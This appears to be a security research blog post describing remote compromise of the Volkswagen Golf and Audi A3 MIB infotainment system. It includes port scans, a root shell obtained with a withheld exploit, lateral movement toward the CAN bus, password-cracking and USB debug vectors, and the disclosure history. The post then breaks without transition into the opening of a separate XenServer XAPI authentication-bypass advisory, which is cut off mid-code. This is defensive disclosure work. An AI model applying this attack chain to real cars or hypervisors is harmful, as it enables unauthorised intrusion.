Based on above we decided to not provide a full disclosure of our findings in this post. We describe the process we followed, our attack strategy and the system internals, but not the full details on the remote exploitable vulnerability as we would consider that being irresponsible. This might disappoint some readers, but we are fully committed to a responsible disclosure policy and are not willing to compromise on that.

This is also why we first informed the manufacturer about the vulnerability and disclosed all our findings to them, gave them the chance to review this research post and also provide a related statement which we would incorporate into this document. We have received feedback on the research post beginning of February 2018. Prior to release of this research post, Volkswagen sent us the letter that is attached to this post confirming the vulnerabilities. In this letter they also state that the vulnerabilities have been fixed in an update to the infotainment system, which means that new cars produced since the update are not affected by the vulnerabilities we found.

Car anatomy

A modern-day vehicle is much more connected than meets the eye. In the old days, cars were mostly mechanical vehicles that relied on mechanics for functionality like steering and braking to operate. Modern vehicles mostly rely on electronics to control these systems. This is often referred to by drive by wire, and has several advantages over the traditional mechanical approach. Several safety features are possible because components are computer controlled. For example, some cars can and will brake automatically if the front radar detects an obstacle ahead and thinks collision is inevitable. Drive by wire is also used for some luxury functionalities such as automatic parking, by electronically taking over the steering wheel based on radar/camera footage.

All these new functionalities are possible because every component in a modern car is hooked up to a central bus, which is used by components to exchanges messages. The most common bus system is the CAN (Control Area Network) bus, which is present in all cars built since the nineties. Nowadays it controls everything, from steering to unlocking the doors to the volume knob on the radio.

The CAN protocol itself is relatively straight forward. In basis, each message has an arbitration ID and a payload. There is no authentication, authorization, signing, encryption etc. Once you are on the bus you can send arbitrary messages, which will be received by all parties connected to the same bus. There is also no sender or recipient information, each component can decide for itself if a specific message does apply to them.

In theory, this means that if an attacker would gain access to the CAN bus of a vehicle, he or she would control the car. They could impersonate the front radar for example to instruct the braking system to make an emergency stop due to a near collision or take over the steering. The attacker only needs to find a way to actually get access to a component that is connected to the CAN bus, without physical access.

The attacker has a lot of remote attack surface to choose from. Some of them require close proximity to the car, while others are reachable from anywhere around the globe. Some of the vectors will require user interaction, whereas others can be attacked unknowingly to its passengers.

For example, modern cars have a system for monitoring tire pressure, called TPMS (Tire Pressure Monitoring System), which will notify the driver if one of the tiers has a low pressure. This is a wireless system, where the tire will communicate its active pressure either via radio signals or Bluetooth to a receiver inside the car. This receiver will, in turn, notify other components via a message on the CAN bus. The instrument cluster will receive this message and as a response turn on the appropriate warning light. Another example is the key fob that will communicate wirelessly with a receiver in your car, which in its turn will communicate with the locks in the door and with the immobilizer in the engine. All these components have two things in common: they are connected to the CAN bus, and have remote attack surface (namely the receiver).

Modern cars have two main ways of protection against malicious CAN messages. The first is the defensive behavior of all components in a car. Each component is designed to always choose the safest option, in order to protect against components that might be malfunctioning. For example, automatic steering for automatic parking might be disabled by default, only to be enabled when the car is in reverse and at a low speed. And if another, malicious, device on the bus impersonates the front-radar to try to trigger an emergency stop, the real front-radar will continue to spam the bus with messages that the road is clear.

The second protection mechanism is that a modern car has more than one CAN bus, separating safety critical devices from convenience devices. The brakes and engine for example are connected to a high-speed CAN bus, while the air conditioning and windscreen wipers are connected to a separated (and most likely low-speed) CAN bus. In theory these busses should be completely separated, in practice however they are often connected via a so-called gateway. This is because there are circumstances were data must flow from the low-speed to the high-speed CAN bus and vice-versa. For example, the door locks must be able to communicate to the engine to enable and disable the immobilizer, and the IVI system receives status information and error codes from the engine to show on the central display. Firewalling these messages is the responsibility of the gateway, it will monitor every message from every bus and decides which messages are allowed to pass through.

In the last few years we have seen an increase in cars that feature an internet connection, we even have seen cars that have two cellular connections at once. This connection can for example be used by the IVI system to obtain information, such as maps data, or to offer functionalities like an internet browser or a Wi-Fi hotspot or to give owners the ability to control some features via a mobile app. For example, to remotely start the central heating to preheat the car, or by being able to remotely lock/unlock your car. In all situations, the device that has the cellular connection is also hooked up to the CAN bus, which makes it theoretically possible to remotely compromise a vehicle.

This attack vector is not just theory, there have been researchers in the past that succeeded in this goal. Some of these attacks were possible because the cellular connection was not firewalled and had a vulnerable service listening, others relied on the fact that the user would visit an attacker-controlled webpage on the in-car browser and exploited a vulnerability in the rendering engine.

Research goal

A modern car has many remote vectors, such as Bluetooth, TPMS and the key fob. But most vectors require that the attacker is in close proximity to the victim. However, for this research we specifically focused on attack vectors that could be triggered via the internet and without user interaction. Once we would have found such a vector, our goal was to see if we could use this vector to influence either driving behavior or other critical safety components in the car. In general, this would mean that we wanted to gain access to the high-speed CAN bus, which connects components like the brakes, steering wheel and the engine.

We chose the internet vector above others, because such an attack would further illustrate our point of the risks that are involved with the current eco-system. All other vectors require being physically close to the car, making the impact typically limited to only a handful of cars at a time.

We formulated the following research question: “Can we influence the driving behavior or critical security systems of a car via an internet attack vector?”.

Research approach

We started this research with nine different models, from nine different brands. These were all lease cars belonging to employees of Computest. Since we are not the actual owner of the car we asked permission for conducting this research beforehand from both our lease company and the employee driving the car.

We conducted a preliminary research in which we mapped the possible attack vectors of each car. Determining the attack vectors was done by looking at the architecture, reading public documentation and by a short technical review.

Things we were specify searching for:

• cars with only a single or few layers between the cellular connection and the high-speed CAN bus;
• cars which allowed us to easily swap SIM cards (since we are not the owner of the cars, soldering, decapping etc. is undesirable);
• cars that offered a lot of services over cellular or Wi-Fi.

From here we choose the car which we thought would give us the highest chance of success. This is of course subjective and does not guarantee success. For some models getting initial access might be easier than others, but this does say nothing about the effort required for lateral movement.

We finally settled for the Volkswagen Golf GTE as our primary target. We later added the Audi A3 e-tron to our research. Both vehicles share the same IVI-system which, on first sight, seemed to have a broad attack surface, increasing the chance of finding an exploitable vulnerability.

Research findings

Initial access

We started our research initially with a Volkswagen Golf GTE, from 2015, with the Car-Net app. This car has a IVI system manufactured by Harman, referred to as the modular infotainment platform (MIB). Our model was equipped with the newer version (version 2) of this platform, which had several improvements from the previous version (such as Apple CarPlay). Important to note is that our model did not have a separate SIM card tray. We assumed that the cellular connection used an embedded SIM, inside the IVI system, but this assumption would later turn out to be invalid.

The MIB version installed in the Volkswagen Golf has the possibility to connect to a Wi-Fi network. A quick port scan on this port shows that there are many services listening:

$ nmap -sV -vvv -oA gte -Pn -p- 192.168.88.253
Starting Nmap 7.31 ( https://nmap.org ) at 2017-01-05 10:34 CET
Host is up, received user-set (0.0061s latency).
Not shown: 65522 closed ports
Reason: 65522 conn-refused
PORT      STATE    SERVICE         REASON      VERSION
23/tcp    open     telnet          syn-ack     Openwall GNU/*/Linux telnetd
10123/tcp open     unknown         syn-ack
15001/tcp open     unknown         syn-ack
21002/tcp open     unknown         syn-ack
21200/tcp open     unknown         syn-ack
22111/tcp open     tcpwrapped      syn-ack
22222/tcp open     easyengine?     syn-ack
23100/tcp open     unknown         syn-ack
23101/tcp open     unknown         syn-ack
25010/tcp open     unknown         syn-ack
30001/tcp open     pago-services1? syn-ack
32111/tcp open     unknown         syn-ack
49152/tcp open     unknown         syn-ack

Nmap done: 1 IP address (1 host up) scanned in 259.12 seconds

There is a fully functional telnet service listening, but without valid credentials, this seemed like a dead end. An initial scan did not return any valid credentials, and as it later turned out they use passwords of eight random characters. Some of the other ports seemed to be used for sending debug information to the client, like the current radio station and current GPS coordinates. Port 49152 has a UPnP service listening and after some research it was clear that they use PlutinoSoft Platinum UPnP, which is open source. This service piqued our interest because this exact service was also found on the Audi A3 (also from 2015). This car however had only two open ports:

$ nmap -p- -sV -vvv -oA a3 -Pn 192.168.1.1
Starting Nmap 7.31 ( https://nmap.org ) at 2017-01-04 11:09 CET
Nmap scan report for 192.168.1.1
Host is up, received user-set (0.013s latency).
Not shown: 65533 filtered ports
Reason: 65533 no-responses
PORT      STATE  SERVICE REASON       VERSION
53/tcp    open   domain  syn-ack      dnsmasq 2.66
49152/tcp open   unknown syn-ack

Nmap done: 1 IP address (1 host up) scanned in 235.22 seconds

We spent some time reviewing the UPnP source code (but by no means was this a full audit) but didn’t find an exploitable vulnerability.

We initially picked the Golf as primary target because it had more attack surface, but this at least showed that the two systems were built upon the same platform.

After further research, we found a service on the Golf with an exploitable vulnerability. Initially we could use this vulnerability to read arbitrary files from disk, but quickly could expand our possibilities into full remote code execution. This attack only worked via the Wi-Fi hotspot, so the impact was limited. You have to be near the car and it must connect with the Wi-Fi network of the attacker. But we did have initial access:

$ ./exploit 192.168.88.253
[+] going to exploit 192.168.88.253
[+] system seems vulnerable...
[+] enjoy your shell:
uname -a
QNX mmx 6.5.0 2014/12/18-14:41:09EST nVidia_Tegra2(T30)_Boards armle

Because there is no mechanism to update this type of IVI remotely, we made the decision not to disclose the exact vulnerability we used to gain initial access. We think that giving full disclosure could put people at risk, while not adding much to this post.

MMX

The system we had access to identified itself as MMX. It runs on the ARMv7a architecture and uses the QNX operating system, version 6.5.0. It is the main processor in the MIB system and is responsible for things like screen compositing, multimedia decoding, satnav etc.

We noticed that the MMX unit was responsible for the Wi-Fi hotspot functionality, but not for the cellular connection that was used for the Car-Net app. However, we did find an internal network. Finding out what was on the other end was the next step in our research.

# ifconfig mmx0
mmx0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
 address: 00:05:04:03:02:01
 media: <unknown type> autoselect
 inet 10.0.0.15 netmask 0xffffff00 broadcast 10.0.0.255
 inet6 fe80::205:4ff:fe03:201%mmx0 prefixlen 64 scopeid 0x3

One of the problems we faced was the lack of tools on the system and the lack of a build chain to compile our own. For example, we couldn’t get a socket or process list due this. The QNX operating system and build-chain is commercial software, for which we didn’t have a license. At first, we tried to work with the tools that were already present. For example, we relied on a broadcast ping for host discovery, and used the included ftp client for a portscan (which took ages). While cumbersome, we found one other host alive on this network. Eventually we applied for a trial version of QNX. Not expecting much of this we continued our research. But, after a few weeks our application got through, and we received a demo license. Which meant we had access to standard tools like telnet and ps, as well as a build chain.

The device on the other end identified itself as RCC, and also had a telnet service running. We tried logging in using the same credentials, but this initially failed. After further investigating MMX’s configuration it became apparent that MMX and RCC share their filesystems, using Qnet; a QNX proprietary protocol. MMX and RCC are allowed to spawn processes on each other and read files (such as the shadow file). It even turned out that the shadow file on RCC was just a symlink to the shadow file on MMX. It seemed that the original telnet binary did not fully function, causing the password reject message. After some rewriting everything worked as expected.

# /tmp/telnet 10.0.0.16
Trying 10.0.0.16...
Connected to 10.0.0.16.
Escape character is '^]'.


QNX Neutrino (rcc) (ttyp0)

login: root
Password:

     ___           _ _   __  __ ___ _____
    /   |_   _  __| (_) |  \/  |_ _|  _  \
   / /| | | | |/ _  | | | |\/| || || |_)_/
  / __  | |_| | (_| | | | |  | || || |_) \
 /_/  |_|__,__|\__,_|_| |_|  |_|___|_____/

/ > ls –la
total 37812
lrwxrwxrwx  1 root      root             17 Jan 01 00:49 HBpersistence -> /mnt/efs-persist/
drwxrwxrwx  2 root      root             30 Jan 01 00:00 bin
lrwxrwxrwx  1 root      root             29 Jan 01 00:49 config -> /mnt/ifs-root/usr/apps/config
drwxrwxrwx  2 root      root             10 Feb 16  2015 dev
dr-xr-xr-x  2 root      root              0 Jan 01 00:49 eso
drwxrwxrwx  2 root      root             10 Jan 01 00:00 etc
dr-xr-xr-x  2 root      root              0 Jan 01 00:49 hbsystem
lrwxrwxrwx  1 root      root             20 Jan 01 00:49 irc -> /mnt/efs-persist/irc
drwxrwxrwx  2 root      root             20 Jan 01 00:00 lib
drwxrwxrwx  2 root      root             10 Feb 16  2015 mnt
dr-xr-xr-x  1 root      root              0 Jan 01 00:37 net
drwxrwxrwx  2 root      root             10 Jan 01 00:00 opt
dr-xr-xr-x  2 root      root       19353600 Jan 01 00:49 proc
drwxrwxrwx  2 root      root             10 Jan 01 00:00 sbin
dr-xr-xr-x  2 root      root              0 Jan 01 00:49 scripts
dr-xr-xr-x  2 root      root              0 Jan 01 00:49 srv
lrwxrwxrwx  1 root      root             10 Feb 16  2015 tmp -> /dev/shmem
drwxr-xr-x  2 root      root             10 Jan 01 00:00 usr
dr-xr-xr-x  2 root      root              0 Jan 01 00:49 var
/ >

RCC

The RCC unit is a separate chip on the MIB system. The MIB IVI is a modular platform, were they separated all the multimedia handling from the low-level functions. The MMX (multimedia applications unit) processor is responsible for things like the satnav, screen and input control, multimedia handling etc. While the RCC (radio and car control unit) processor handles the low-level communication.

RCC runs on the same version of QNX. It has even fewer tools available, and only a few hundred kilobytes of ram. But because of the Qnet protocol it is possible to run all tools from the MMX unit on RCC.

Communication with the lower level components, like DAB+, CAN, AM/FM decoding etc. are handled via serial connections; either SPI or I2C. The various configuration options can be found under /etc/.

Car-Net

We expected to find a cellular connection on RCC, but we did not. After further research it turned out that the Car-Net functionality is offered by a completely separate unit, and not the IVI. The cellular connection in the Golf is connected to a box which is located behind the instrument cluster, as is shown below.

The Car-Net box uses an embedded SIM card. Since this box offered no other interface options, and we couldn’t make any physical changes to the car (to see if JTAG was available for example), we did not investigate any further.

Audi A3

From here we decided to put our effort back into the Audi A3. It uses the same IVI system, but used a higher-end version. This version has a physical SIM card, which is used by the Audi connect service. We of course already did a port scan via the Wi-Fi hotspot, which turned out empty, but it might be that the results would be different via the cellular connection.

To test this, we needed to be able to do a port scan on the remote interface. This can either be done if the ISP assigns a public routable IPv4 address (unfirewalled), allows client-to-client communication or by using a hacked femtocell. We chose the first option by using a functionality offered by one of the largest ISPs in the Netherlands. They will assign a public IPv4 address if you change certain APN settings. A portscan on this public IP address gave completely different results than our earlier portscan on the Wi-Fi interface:

$ nmap -p0- -oA md -Pn -vvv -A 89.200.70.122
Starting Nmap 7.31 ( https://nmap.org ) at 2017-04-03 09:14:54 CET
Host is up, received user-set (0.033s latency).
Not shown: 65517 closed ports
Reason: 65517 conn-refused
PORT      STATE    SERVICE    REASON      VERSION
23/tcp    open     telnet     syn-ack     Openwall GNU/*/Linux telnetd
10023/tcp open     unknown    syn-ack
10123/tcp open     unknown    syn-ack
15298/tcp filtered unknown    no-response
21002/tcp open     unknown    syn-ack
22110/tcp open     unknown    syn-ack
22111/tcp open     tcpwrapped syn-ack
23000/tcp open     tcpwrapped syn-ack
23059/tcp open     unknown    syn-ack
32111/tcp open     tcpwrapped syn-ack
35334/tcp filtered unknown    no-response
38222/tcp filtered unknown    no-response
49152/tcp open     unknown    syn-ack
49329/tcp filtered unknown    no-response
62694/tcp filtered unknown    no-response
65389/tcp open     tcpwrapped syn-ack
65470/tcp open     tcpwrapped syn-ack
65518/tcp open     unknown    syn-ack

Nmap done: 1 IP address (1 host up) scanned in 464 seconds

Most services are the same as those on the Golf. Some things may differ (like port numbers), possibly because the Audi has the older model of the MIB IVI system. But, more importantly: our vulnerable service is also reachable, and suffers from the same vulnerability!

An attacker can only abuse this vulnerability if the owner has the Audi connect service, and the ISP in the country of the owner allows client-to-client communication, or hands out public IPv4 addresses.

To summarize our research up to this point: we have remote code execution, via the internet, on MMX. From here we can control RCC as well. The next step would be to send arbitrary CAN messages over the bus to see if we can reach any safety critical components.

Renesas V850

The RCC unit is not directly connected to the CAN bus, it has a serial connection (SPI) to a separate chip that handles all CAN communication. This chip is manufactured by Renesas and uses the V850 architecture.

The firmware on this chip doesn’t allow for arbitrary CAN messages to be sent. It has an API that allows a select number of messages to be sent. Most likely, any vulnerabilities in the gateway would require us to send a message that is not on the list, meaning we need a way to let the Renesas chip send us arbitrary messages. The read functionality on the Renesas chip has been disabled, meaning that it is not possible to extract the firmware from the chip easily.

The MIB system does have a software update feature. For this an SD-card, USB stick or CD must be inserted which holds the new firmware. The update sequence is initiated by the MMX unit, which is responsible for the mounting and handling all removable media. When a new firmware image is found, the update sequence will commence.

The update is signed using RSA, but not encrypted. Signature validation is done by the MMX unit, which will then hand over the appropriate update files for RCC and the Renesas chip. The RCC and Renesas chip will trust that the MMX unit already has performed signature validation, and will thus not revalidate the signature for their new firmware. Updating the Renesas V850 chip can be initiated by the RCC unit (using mib2_ioc_flash).

Firmware images are hard to come by. They are only available for official dealers and not for end-users. However, if one can get a hold of the firmware image, it is theoretically possible to backdoor the original firmware image for the Renesas chip, to allow sending arbitrary CAN messages, and flash this new firmware from the RCC unit.

The figure below shows the attack chain up until this point:

Gateway

By backdooring the Renesas chip we are able to send arbitrary CAN messages on the CAN bus. However, the CAN bus we are connected to is dedicated to the IVI system. It is directly connected to a CAN gateway; a physical device used to firewall/filter CAN messages between the different CAN busses.

The gateway is located behind the steering column and is connected with a single connector which has all the different busses connected.

The firmware for the gateway is signed, so backdooring this chip won’t work as it will invalidate the signature. Furthermore, reflashing the firmware is only possible from the debug bus (ODB-II port) and not from the IVI CAN bus. If we want to bypass this chip we need to find an exploitable vulnerability in the firmware. Our first step to achieve this would be to try to extract the firmware from the chip using a physical vector. However, after careful consideration we decided to discontinue our research at this point, since this would potentially compromise intellectual property of the manufacturer and potentially break the law.

USB vector

After finding the remote vector, we discovered a second vector we had not yet explored. For debugging purposes, the MMX unit recognizes a few USB-to-Ethernet dongles as debug interfaces, which will create an extra networking interface. It seems that this network interface will also serve the vulnerable service. The configuration can be found under /etc/usblauncher.lua:

-- D-Link DUB-E100 USB Dongles
device(0x2001, 0x3c05) {
    driver"/etc/scripts/extnet.sh -oname=en,lan=0,busnum=$(busno),devnum=$(devno),phy_88772=0,phy_check,wait=60,speed=100,duplex=1,ign_remove,path=$(USB_PATH) /lib/dll/devnp-asix.so /dev/io-net/en0";
    removal"ifconfig en0 destroy";
};

device(0x2001, 0x1a02) {
    driver"/etc/scripts/extnet.sh -oname=en,lan=0,busnum=$(busno),devnum=$(devno),phy_88772=0,phy_check,wait=60,speed=100,duplex=1,ign_remove,path=$(USB_PATH) /lib/dll/devnp-asix.so /dev/io-net/en0";
    removal"ifconfig en0 destroy";
};

-- SMSC9500
device(0x0424, 0x9500) {
    -- the extnet.sh script does an exec dhcp.client at the bottom, then usblauncher can slay the dhcp.client when the dongle is removed
    driver"/etc/scripts/extnet.sh -olan=0,busnum=$(busno),devnum=$(devno),path=$(USB_PATH) /lib/dll/devn-smsc9500.so /dev/io-net/en0";
    removal"ifconfig en0 destroy";
};

-- Germaneers LAN9514
device(0x2721, 0xec00) {
        -- the extnet.sh script does an exec dhcp.client at the bottom, then usblauncher can slay the dhcp.client when the dongle is removed
        driver"/etc/scripts/extnet.sh -olan=0,busnum=$(busno),devnum=$(devno),path=$(USB_PATH) /lib/dll/devn-smsc9500.so /dev/io-net/en0";
        removal"ifconfig en0 destroy";
};

But even without this service, telnet is also enabled. The version of QNX that is being used only supports descrypt() for password hashing, which has an upper limit of eight characters. One could use a service like crack.sh which can search the entire key space in less than three days using FPGA’s, for only $ 100,-. We found out that the passwords are changed between models/versions; but we think it is doable, both in time and money, to build a dictionary containing all passwords of all different versions of the MIB IVI.

This vector seems to work on all models that use the MIB IVI system, regardless of the version. Since VAG has multiple car brands, components like the IVI are often reused between brands. This vector will therefore most likely also work on cars from, for example, Seat and Skoda.

We tested this vector by changing some kernel parameters on a Nexus 5 phone. This can be done without the need for reflashing, only root privileges are required. After plugging in the phone, it will be recognized as an Ethernet dongle, and the MMX unit will initialize a debug interface.

Disclosure process

At Computest we believe in public disclosure of identified vulnerabilities as users should be aware of the risks related to use a specific product or service. But at all times we also consider it our responsibility that nobody is put at unnecessary risk and also no unnecessary damage is caused by such a disclosure. That means we are fully committed to a responsible disclosure policy and are not willing to compromise on that.

As recommended we decided to contact the manufacturer as soon as we had verified and documented our findings. To do so we were looking for a specific Responsible Disclosure Policy (RDP) on the website of the manufacturer to understand how such a disclosure should be handled from their point of view.

As Volkswagen apparently did not have such a RDP in place, we followed the public Whistleblower System of Volkswagen and contacted the mentioned external lawyer they listed. Opposite to a typical whistleblower disclosure we had no interest nor reason to stay anonymous and disclosed our identity from the very beginning.

With the help of the external lawyer we got in contact with the quality assurance department of the Volkswagen Group mid of July 2017. After some initial conference calls we decided together that a face-to-face meeting would be the best format to disclose our findings and Volkswagen invited us to visit their IT center in Wolfsburg which we followed end of August 2017.

Obviously, Volkswagen required some time to investigate the impact and to perform a risks assessment. At the end of October we received their final conclusion, that they were not going to publish a public statement themselves. But were willing to review our research post to check whether we have stated the facts correctly and we have received the review at the beginning of February 2018. In April 2018, just prior to release of this post, Volkswagen provided us with a letter that confirms the vulnerabilities, and mentions that they have been fixed in a software update to the infotainment system. This means that cars produced since this update are not affected by the vulnerabilities we found. The letter is attached to this report. But based on our experience, it seems that cars which have been produced before are not automatically updated when being serviced at a dealer, thus are still vulnerable to the described attack

When writing this post, we decided to not provide a full disclosure of our findings. We describe the process we followed, our attack strategy and the system internals, but not the full details on the remote exploitable vulnerability as we would consider that being irresponsible. This might disappoint some readers, but we are fully committed to a responsible disclosure policy and are not willing to compromise on that.

In addition to the above we would like to mention that we have consulted an experienced legal advisor early on in this project to make sure our approach and actions are reasonable, and to assess potential (legal) consequences.

Future work

The current chain of attack only allows for the sending and receiving of CAN messages on an isolated CAN bus. As this bus is strictly separated from the high-speed CAN bus via a gateway, the current attack vector poses no direct threat to driver safety.

However, if an exploitable vulnerability in the gateway were to be found, the impact would significantly increase. Future research could focus on the security of the gateway, to see if there is any way to either bypass or compromise this device. There are still some attack vectors on the gateway that are definitely worth exploring. However, this should only be explored in cooperation with the manufacturer.

We are also looking into extending our research to other cars. We still have some interesting leads from our preliminary research that we could follow.

Conclusions

Internet-connected cars are rapidly becoming the norm. As with many other developments, it’s a good idea to sometimes take a step back and evaluate the risks of the path we’ve taken, and whether course adjustments are needed. That’s why we decided to pay attention to the risks related to internet-connected cars. We set out to find a remotely exploitable vulnerability, which required no user interaction, in a modern-day vehicle and from there influence either driving behavior or a safety feature.

With our research, we have shown that at least the first is possible. We can remotely compromise the MIB IVI system and from there send arbitrary CAN messages on the IVI CAN bus. As a result, we can control the central screen, speakers and microphone. This is a level of access that no attacker should be able to achieve. However, it does not directly affect driving behavior or any safety system due to the CAN gateway. The gateway is specifically designed to firewall CAN messages and the bus the IVI is connected to is separated from all other components. Further research on the security of the gateway was consciously not pursued.

We argue that the threat of an adversary with malicious intent was long underestimated. The vulnerability we initially identified should have been found during a proper security test. During our meeting with Volkswagen, we had the impression that the reported vulnerability and especially our approach was still unknown. We understood in our meeting with Volkwagen that, despite it being used in tens of millions of vehicles world-wide, this specific IVI system did not undergo a formal security test and the vulnerability was still unknown to them. However, in their feedback for this post Volkswagen stated that they already knew about this vulnerability.

Speaking with people within the industry we are under the impression that attention on security and awareness is growing, but with the efforts mainly focusing on the models still in development. Component manufactures producing critical components such as brakes, already had security high up in their quality assurance agenda. This focus was not because of the fear of adversaries on the CAN bus, but mainly to protect against component malfunction, which could otherwise result in situations like unintended acceleration.

A remote adversary is new territory for most industrial component manufacturers, which, to be mitigated effectively, requires embedding security in the software development lifecycle. This is a movement that was started years ago in the AppSec world. This is easier in an environment with automatic testing, continuous deployment and possibility to quickly apply updates after release. This is not always possible in the hardware industry, due to local regulations and the ecosystem. It often requires coordination between many vendors. But, if we want to protect future cars, these are problems we have to solve.

However, what about the cars of today, or cars that were shipped last week? They often don’t have the required capabilities (such as over-the-air updates) but will be on our roads for the next fifteen years. We believe they currently pose the real threat to their owners, having drive by wire technology in cars that are internet-connected without any way to reliably update the entire fleet at once.

We believe that the car industry in general, since it isn’t traditionally a software engineering industry, needs to look to other industries and borrow security principles and practices. Looking at mobile phones for instance, the car industry can take valuable lessons regarding trusted execution, isolation and creating an ecosystem for rapid security patching. For instance, components in a car that are remotely accessible, should be able to receive and apply verified security updates without user interaction.

We understand that component malfunction is a higher threat in day-to-day operation. We also understand that having an internet-connected car has its advantages, and we also not trying to reverse this trend. However, we can’t ignore the threats accompanied with today’s internet-connected world.

Recommendations

Based on our findings documented in this research post and our overall experience in IoT security we would like to conclude this post with some recommendations to manufacturers, consumers and ethical hackers.

Recommendations for manufacturers

• The growing number of connected consumer devices is not only providing tremendous opportunities, but also comes along with additional risks which need to be taken care of. The quality of produced goods is not only about mechanical functionality and quality of materials used, but the quality and security of the embedded software is equally important and therefore requires equal attention in terms of quality assurance.
• It is common practice, especially in the field of electronics, to purchase components from a third party. That does not clear the manufacturer from the responsibility for their quality and security; these components need to be included in thorough quality assurance. The company selling the completed product should be prepared to take responsibility for its security and quality.
• Even the best quality control cannot prevent mistakes from being made. In such an event, manufacturers should stand to their responsibility and communicate swiftly and with transparency to affected customers. Hiding cannot only lead to damages on the customer side, but can also have a very negative impact on the manufacturers reputation.
• Ethical hackers should not be considered as a threat, but as a help to identify existing vulnerabilities. These people often have different views and approaches, enabling them to find vulnerabilities which otherwise would remain undiscovered. Such identified vulnerabilities are important to improve the product quality.
• Every manufacturer should have a Responsible Disclosure Policy (RDP) stating clearly how external people can report discovered vulnerability in a safe environment. Ethical hackers should not be threatened but encouraged to disclose findings to the manufacturer. See also ‘NCSC Leidraad Responsible Disclosure’ .

Recommendations for consumers

• Having an internet-connected car brings a number of advantages mostly for consumers. But be aware that this applied technology is still early in its lifecycle and therefore not fully mature yet in terms of quality and security.
• This can be associated with the possibility to relatively easy get remote access to your car. Although it is very unlikely that this can impact driving behaviour, it might provide access to personal data stored in the car entertainment system and/or your smart phone.
• Become informed: ask about quality and security standards of car you are looking into as much as you do that for aspects like crash tests. Specifically ask about the remote maintenance possibilities and how long the manufacturer would maintain the software used in the car (support period). If you want to protect yourself against remote threats, please ask your dealer to install updates during their normal service schedule
• Keep the software in your car up to date where you have the possibility.
• This does not only apply to cars, but to all IoT devices such as baby monitors, smart TV’s and home automation.

Recommendations for ethical hackers

• Identifying and disclosing a vulnerability is not about a personal victory or trophy for the hacker, but a responsibility to contribute to safer and better IT systems.
• In case you have identified a vulnerability, don’t go further than necessary and make sure you don’t harm anybody.
• Inform the owner / manufacturer of the identified vulnerability first immediately and do not share related information with the press or any other third party. Look for a responsible disclosure policy (RDP) on the website of the manufacturer and follow the policy. In case you can’t find such a RDP, contact the manufacturer (anonymously) and ask for such a policy to help protect your integrity. A good alternative way is to look for a whistle-blower policy and contact the manufacturer this way.
• Beware that what may look like a simple fix from your perspective as an engineer, can be something completely different in a manufacturing world when applied to the scale of hundreds of thousands of vehicles. Have some patience and empathy for the situation you’re putting the manufacturer in, even though you may be right to do so.
• It is important to understand the legal regulations relevant for potential research and investigation activities. Different national legislations and limited relevant jurisdiction does not make that easy. Keep in mind: having no criminal intention does not give a free ride to break the law. In case of doubt seek legal advice upfront!

Letter from Volkswagen

Below the letter from Volkswagen we received on April 17 2018. The letter is from the department we have been in contact with from the start of the disclosure process

During a brief code review of XenServer, Computest found and exploited a vulnerability in the XAPI management service that allows an attacker to bypass authentication and remotely perform arbitrary XAPI calls with administrative privileges.

This vulnerability can be further exploited to execute arbitrary shell commands as the operating system “root” user on the Dom0 virtual machine. The Dom0 is the component that manages the hypervisor, and has full control over all the virtual machines as well as the network and storage resources attached to the system.

To exploit this vulnerability an attacker has to be on a network that can reach one of the IPs and ports the XAPI service is available on (port numbers are 80 and 443 by default). Alternatively they can perform the attack through the browser of a user who has access to this port, via either a DNS rebinding attack or possibly by using the primary vulnerability to mount a cross-site scripting attack by using it to read a logfile containing attacker-controlled HTML.

This was not a full audit and further issues may or may not be present.

About XenServer and XAPI

About XenServer:

XenServer is the leading open source virtualization platform, powered by the Xen Project hypervisor and the XAPI toolstack. It is used in the world’s largest clouds and enterprises.

Technical support for XenServer is available from Citrix.

Source

About XAPI:

The Xen Project Management API (XAPI) is:

• A Xen Project Toolstack that exposes the XAPI interface. When we refer to XAPI as a toolstack, we typically include all dependencies and components that are needed for XAPI to operate (e.g. xenopsd).
• An interface for remotely configuring and controlling virtualised guests running on a Xen-enabled host. XAPI is the core component of XenServer and XCP.

Source

While XAPI is maintained by the Xen project, it is not a required component of all Xen-based systems. It is required in XenServer.

Technical Background

Virtual machines have become the platform of choice for nearly all new IT infrastructure because of the massive benefits in manageability and resource optimization. However, a virtual machine can only be as secure as the platform it runs on.

For this reason compromising a hypervisor is always a high priority target, both during penetration tests and for real attackers.

The XAPI toolstack provides an API interface that is used both for communication between nodes in the same pool and for managing the pool, for example using a desktop application such as XenCenter. It is also the backend used by command line tools such as ‘xe’ and can be used by management platforms such as OpenStack, CloudStack, and Xen Orchestra.

Availability of the XAPI port, and vulnerability to DNS rebinding

While Citrix recommends keeping management traffic separate from storage traffic and VM traffic, in practice the system is often not configured this way. By default, the XAPI service appears to listen on any IP assigned to the hypervisor (actually the Dom0, to be precise). If no external interface is selected as a management interface, the XAPI service may still be accessible through one or more host internal management networks which can be made available to VMs.

The XAPI service is available both over unencrypted HTTP on port 80 and over HTTPS on port 443 (with a self-signed certificate by default).

The service does not check the HTTP Host header specified in requests, which makes the service vulnerable to DNS rebinding attacks. Using a DNS rebinding attack a remote attacker can reach a XAPI service on the internal network by convincing a user on the internal network to visit a malicious website, without needing to exploit any vulnerability in the web browser or client OS.

Either way, because of the importance of a hypervisor it still needs to be able to defend against attackers who have already gained access to internal networks.

Authentication and request handling in XAPI

In assessing the XAPI we started by identifying the parts of the code where authentication checks are performed. All code is available on GitHub.

The first thing to note is that API endpoints are registered using add_handler in the file /ocaml/xapi/xapi_http.ml.

let add_handler (name, handler) =

let action =
  try List.assoc name Datamodel.http_actions
  with Not_found ->
    (* This should only affect developers: *)
    error "HTTP handler %s not registered in ocaml/idl/datamodel.ml" name;
    failwith (Printf.sprintf "Unregistered HTTP handler: %s" name) in
let check_rbac = Rbac.is_rbac_enabled_for_http_action name in

let h = match handler with
  | Http_svr.BufIO callback ->
    Http_svr.BufIO (fun req ic context ->
        (try
           if check_rbac
           then (* rbac checks *)
             (try
                assert_credentials_ok name req ~fn:(fun () -> callback req ic context) (Buf_io.fd_of ic)
              with e ->
                debug "Leaving RBAC-handler in xapi_http after: %s" (ExnHelper.string_of_exn e);
                raise e
             )
           else (* no rbac checks *)
             callback req ic context

So in short: if Rbac.is_rbac_enabled_for_http_action returns true, authentication is not needed. Otherwise assert_credentials is called, which will throw an exception if the request is not authorized.

Looking into is_rbac_enabled_for_http_action a bit more, the following endpoints are exempted from authentication:

(* these public http actions will NOT be checked by RBAC *)
(* they are meant to be used in exceptional cases where RBAC is already *)
